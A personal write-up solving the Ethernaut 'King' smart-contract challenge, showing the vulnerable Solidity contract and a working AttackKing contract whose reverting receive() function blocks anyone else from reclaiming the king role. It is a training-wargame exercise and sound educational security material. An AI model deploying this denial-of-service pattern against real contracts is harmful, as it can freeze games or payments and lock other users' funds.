Ethernaut 7: King

My solution to the 7th ethernaut challenge. This was so far the most difficult challenge for me

https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5

Investigation

We are given a fun little ponzi scheme contract. The contract stores a prize in ether which can be gained by playing the game. To get the prize, simply send more ether to the contract and the new ether amount becomes the new prize. The contract will then set your address as the new king.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

The goal is to gain the king status and make it so that nobody else can become the new king. First, to test things out, I sent some ether to the contract and this indeed made my wallet address the new king. However, on submitting the contract, the owner steals back the king status. So I needed something more drastic.

Solution

After giving this some thought, I found that the key here is to take advantage of the fact that whenever someone new tries to become the new king, the contract has to send all of its ether to the current king. This would be fine if the funds were being sent to a regular wallet, but if I make a contract the current king, then the EVM will be forced to run code in my contract when the funds are sent. To demonstrate this, I created an AttackKing contract that looks like this

contract AttackKing {
    address payable kingInstanceAddress;
    King kingInstance;

    constructor(address payable kingAddress) {
        kingInstanceAddress = kingAddress;
        kingInstance = King(kingAddress);
    }

    receive () external payable {
        // Revert when anyone else tries to become king
        if (msg.sender == kingInstanceAddress) {
            revert("Not letting you take my kingship");
        }
    }

    function attack () payable public {
        uint currentPrize = kingInstance.prize();
        require(msg.value > currentPrize, "Not enough ether sent");

        (bool success, ) = kingInstanceAddress.call{value: msg.value}("");
        require(success, "Transfer failed.");
    }
}

I deployed this contract and called the attack function with some ether. This then transfers ether to the deployed King contract, thus taking ownership of it. Verifying this:

await contract._king()
// "0x051E33DB81D1a59b4a411510D6E826A4B1C2Bb07" <- My contract!

When the owner of King tries to take the king status back, the contract tries to send ether to my exploit contract which reverts the entire call stack and the transaction fails 😏.

What I learned

  1. We can send ether with a transaction directly in the Remix IDE by filling in the value field. This was a bit annoying because it doesn’t allow decimal places

  2. When writing contracts, we need to take special care with ether transfers because transferring ether can mean running untrusted code

  3. The current best way to send ether is using the call method. ie.

    kingInstanceAddress.call{value: msg.value}("")
    

    Source:

    https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage